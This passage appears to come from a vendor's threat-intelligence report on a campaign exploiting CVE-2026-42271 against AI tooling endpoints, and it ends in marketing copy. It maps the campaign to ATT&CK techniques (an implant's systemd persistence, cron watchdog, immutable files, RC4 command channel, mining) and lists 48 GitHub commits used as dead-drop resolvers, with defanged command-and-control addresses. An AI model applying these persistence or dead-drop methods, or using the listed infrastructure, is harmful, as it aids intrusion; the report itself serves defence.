- DBA changes to WAL archiving; baseline your backup tooling (pgBackRest, wal-g, barman)
level: medium

ATT&CK mapping

Entries for delivery and the Ollama stage describe requests sent to our honeypots. Entries for the implant describe code we analyzed statically. None of them establishes that the code ran on a victim.

TechniqueNameEvidence
T1190Exploit Public-Facing ApplicationCVE-2026-42271 delivery requests to /mcp-rest/test/connection
T1595Active Scanningaxios/1.14.0 discovery of /v1/models and /openapi.json
T1105Ingress Tool Transfer/private/manager-* staging over TCP/81; Ollama pull requests naming :9882 registries
T1102.001Web Service: Dead Drop ResolverCommand addresses decoded from poems in GitHub forks
T1036.005Masquerading: Match Legitimate Resource Name or LocationSentinel installs under real daemon names such as avahi-daemon in /usr/libexec
T1573.001Encrypted Channel: Symmetric CryptographySentinel’s RC4 command channel on TCP/5002
T1090ProxySentinel’s five fetch relays on TCP/1458
T1543.002Create or Modify System Process: Systemd ServiceSentinel units that ignore systemctl stop; Bridge system and user units
T1053.003Scheduled Task/Job: CronFive-minute restart watchdog
T1546.004Event Triggered Execution: Unix Shell Configuration Modification/etc/profile.d hook
T1222.002File and Directory Permissions Modification: Linux and Mac Permissionschattr +i on the implant
T1496Resource HijackingKryptex mining by the libgcrypt component, from third-party sandbox reports

The dead-drop archive

Each commit can be read at https://github.com/<parent>/commit/<sha>. “Verse” is generation 1 and “stanza” is generation 3. Row 22, the “tombstone”, replaced the poem with a single period, leaving the channel without an address for four minutes. Addresses are defanged.

Every commit (48)

#Published (UTC)Channel (parent repo)CommitEncodingAddress
12025-12-09 22:15:46discordjs/discord.jsf46849089e591f848f4964f86d6d347213e90462verse194.69.203[.]32
22025-12-12 13:41:20discordjs/discord.js8912a49732122da989a91d271f3d8bdaafba4e19verse5.16.162[.]140
32025-12-16 16:26:01discordjs/discord.js876f192471d8bf7ea46821327b2519fe7b3b8de3verse196.189.96[.]138
42025-12-17 09:25:54discordjs/discord.js45f517fd720d4fe98e19e7a614ab54a9e8f902d2verse156.248.148[.]165
52026-01-29 19:25:20discordjs/discord.js909aac6e0df0f0fb717f89ae784a31135e6d8683verse168.195.32[.]178
62026-02-03 23:28:54discordjs/discord.js0f03bcf29576f6eaadceab79d1c1aac276762129verse196.191.196[.]21
72026-02-06 15:03:32discordjs/discord.js991b492372f2013d5a06d7c479a694e12496c962verse85.122.148[.]79
82026-02-09 19:53:34discordjs/discord.js8031758d1b5a4875101e4c21971e1bd8156e82f2verse38.50.43[.]231
92026-02-11 15:28:33discordjs/discord.js32bf8682efd5f380b8c9a18a5a3ad4e84ae4fc77verse193.169.110[.]24
102026-02-11 22:35:15discordjs/discord.jsf695077abb7c4c335adf397553f9a9b0e4da1f69verse103.183.29[.]150
112026-02-13 21:19:37discordjs/discord.js0cbc53be2974aa5364c9e528a3febbf28a676b25verse191.37.28[.]163
122026-02-19 00:14:43discordjs/discord.js498c21723dc6e5a81ae78a49f59a5afa295e202cverse5.3.105[.]70
132026-02-20 01:00:05discordjs/discord.js58b43f12b223fc724cba4fb6806137838933a030verse170.239.113[.]167
142026-02-20 09:22:32discordjs/discord.jsd71d077f2d1a8c2acfad313942d53070d77957ddverse190.102.127[.]44
152026-02-26 10:41:17discordjs/discord.js2d190b00726bab50e448208ddd8d23282c989248verse185.244.111[.]240
162026-02-26 14:29:48discordjs/discord.js03ce640b6ea4abe24712e190ad4c22fbfda58226verse86.106.86[.]25
172026-02-27 09:38:02discordjs/discord.js2ce709e9c9043e523a73c1fb29ce8070618078bbverse116.129.7[.]63
182026-03-01 10:13:37discordjs/discord.jsac0c7ad3ac7af4f80330e39f7794e8e5fbfab3b9verse45.225.187[.]6
192026-03-05 14:30:17discordjs/discord.js7e2b2c924386b4b03c8139f841819c0ef636f8f5verse185.244.111[.]240
202026-03-07 10:30:03discordjs/discord.js30bba9eba659f723bdbaf94b01b80299f060fc2bverse45.225.187[.]6
212026-03-07 11:09:59wszqkzqk/deepin-wine-ubuntu88188feae97dd64ccb6a4041e822f6944c586075verse170.239.113[.]167
222026-03-07 16:13:51discordjs/discord.jse23d8298dfb175a8402b9678b1e1843bdafd214ftombstonenone
232026-03-07 16:17:49discordjs/discord.jsb862d702e98fffb510a74ca78ca29b7ab68fb7f0verse185.244.111[.]76
242026-03-09 20:14:15wszqkzqk/deepin-wine-ubuntu0ec0fedc57a0c6aebaa5f6ab5620debbafda1fd3verse45.225.187[.]6
252026-03-12 20:40:27discordjs/discord.js57bf3b263571736626e0e06f9581d743faeb3f60verse170.239.113[.]167
262026-03-12 23:40:18getumbrel/umbrelb7ded93724b888c8681a057a6d2d7177cf399f5cverse82.23.183[.]155
272026-04-13 10:56:39discordjs/discord.jsf7b8db9538c2c9c6c9ee507b19182828584d88b4verse86.107.25[.]210
282026-04-20 13:17:51discordjs/discord.jsbd4174fa1d5a163d4df99efbd3f75656aee0661cverse196.189.198[.]106
292026-04-20 17:26:25discordjs/discord.js5d2e5a46de9c4c1f4f5b9298ce6c9fd0b88d3335verse86.107.25[.]210
302026-04-21 19:28:37getumbrel/umbreld498f3453bd79beef27a39eb5016606eaf3613b6verse101.47.160[.]163
312026-04-22 09:49:55wszqkzqk/deepin-wine-ubuntu5c4aa7cc99d7439b23d5d9134b2fbc76407d189everse82.23.183[.]155
322026-05-01 11:07:26discordjs/discord.js70107829e48277dcec5baebced25fb1fb8094753verse196.190.193[.]65
332026-05-07 10:38:35wszqkzqk/deepin-wine-ubuntu08968077d27ee22674b260308a6e13f8a033dff8verse120.224.114[.]212
342026-05-08 10:33:00discordjs/discord.jsd126bf8dfeee330d46fbe872155f4c0672450294verse120.224.114[.]212
352026-05-28 19:44:47wszqkzqk/deepin-wine-ubuntu01ce352024b5b93f112aaf735fdbd323dca863a5verse86.106.79[.]201
362026-06-08 06:32:22getumbrel/umbreldc0e68fac405f7d19acd2ed51c046a0d8d2666e8verse5.78.73[.]122
372026-06-08 11:16:40wszqkzqk/deepin-wine-ubuntu24898af14d0f96c558dd3859d1751923b249dd35verse45.76.89[.]4
382026-06-14 11:53:56wszqkzqk/deepin-wine-ubuntu2d47487a87edc3e3f322381251cc7b7f13a6a85everse15.204.178[.]28
392026-06-16 18:58:27wszqkzqk/deepin-wine-ubuntua468b229d4dc95cfa93f753e7e00684959f1165dverse159.203.130[.]73
402026-06-16 19:36:30getumbrel/umbrel953e4f3c1b6dd71e76a29f38c0c56f1e1a71f202stanza178.128.14[.]204
412026-06-17 20:18:04wszqkzqk/deepin-wine-ubuntufa7ff561b87af4894288c77c04b771aed63684e5verse217.76.63[.]67
422026-06-18 21:02:02wszqkzqk/deepin-wine-ubuntu6999eb7c36459624b9fddff6090a1de7f5b7cd55stanza217.76.63[.]67
432026-07-22 21:54:21discordjs/discord.js9e45bd5f586600df9d8e8be19bdf1577f94a8e8cstanza205.209.126[.]135
442026-07-29 22:29:11getumbrel/umbrel4812dcebd9865b1db6bda0bb1c5ffd03f820a5a5stanza155.94.155[.]111
452026-08-19 19:43:24getumbrel/umbrel564a497c697b29d772f004005878dd1867eefc89stanza103.249.201[.]108
462026-08-19 19:45:59wszqkzqk/deepin-wine-ubuntu51d06a59637eabe3e75a39cdc9d7acf259a459dfstanza165.245.138[.]247
472026-08-27 13:38:45wszqkzqk/deepin-wine-ubuntu395fb5b5cb324238903fdcfdf53cdd4705270ea3stanza104.36.85[.]28
482026-08-27 13:44:16discordjs/discord.jsc754c07d3a5154b959f1799588a3b1a904c29a34stanza217.76.63[.]67

Unique addresses (37)

AddressFirst publishedLast publishedCommitsEncodingChannelsPreviously published
194.69.203[.]322025-12-092025-12-091versediscord.js
5.16.162[.]1402025-12-122025-12-121versediscord.js
196.189.96[.]1382025-12-162025-12-161versediscord.js
156.248.148[.]1652025-12-172025-12-171versediscord.js
168.195.32[.]1782026-01-292026-01-291versediscord.js
196.191.196[.]212026-02-032026-02-031versediscord.js
85.122.148[.]792026-02-062026-02-061versediscord.js
38.50.43[.]2312026-02-092026-02-091versediscord.js
193.169.110[.]242026-02-112026-02-111versediscord.js
103.183.29[.]1502026-02-112026-02-111versediscord.js
191.37.28[.]1632026-02-132026-02-131versediscord.js
5.3.105[.]702026-02-192026-02-191versediscord.js
170.239.113[.]1672026-02-202026-03-123versedeepin-wine-ubuntu, discord.js
190.102.127[.]442026-02-202026-02-201versediscord.js
185.244.111[.]2402026-02-262026-03-052versediscord.js
86.106.86[.]252026-02-262026-02-261versediscord.js
116.129.7[.]632026-02-272026-02-271versediscord.js
45.225.187[.]62026-03-012026-03-093versedeepin-wine-ubuntu, discord.js
185.244.111[.]762026-03-072026-03-071versediscord.js
82.23.183[.]1552026-03-122026-04-222versedeepin-wine-ubuntu, umbrel
86.107.25[.]2102026-04-132026-04-202versediscord.js
196.189.198[.]1062026-04-202026-04-201versediscord.js
101.47.160[.]1632026-04-212026-04-211verseumbrel
196.190.193[.]652026-05-012026-05-011versediscord.js
120.224.114[.]2122026-05-072026-05-082versedeepin-wine-ubuntu, discord.jsyes
86.106.79[.]2012026-05-282026-05-281versedeepin-wine-ubuntu
5.78.73[.]1222026-06-082026-06-081verseumbrelyes
45.76.89[.]42026-06-082026-06-081versedeepin-wine-ubuntu
15.204.178[.]282026-06-142026-06-141versedeepin-wine-ubuntuyes
159.203.130[.]732026-06-162026-06-161versedeepin-wine-ubuntu
178.128.14[.]2042026-06-162026-06-161stanzaumbrelyes
217.76.63[.]672026-06-172026-08-273stanza/versedeepin-wine-ubuntu, discord.js
205.209.126[.]1352026-07-222026-07-221stanzadiscord.js
155.94.155[.]1112026-07-292026-07-291stanzaumbrel
103.249.201[.]1082026-08-192026-08-191stanzaumbrelyes
165.245.138[.]2472026-08-192026-08-191stanzadeepin-wine-ubuntu
104.36.85[.]282026-08-272026-08-271stanzadeepin-wine-ubuntu

Explore the open-source Beelzebub deception framework or book a Beelzebub.ai demo.

The Beelzebub team is dedicated to making the internet a better and safer place. ❤️

Bring one high-friction workflow. Leave with a scoped proof of value.

Choose the smallest useful deployment
Define scope, approvals, and evidence requirements
Connect the output to your existing security stack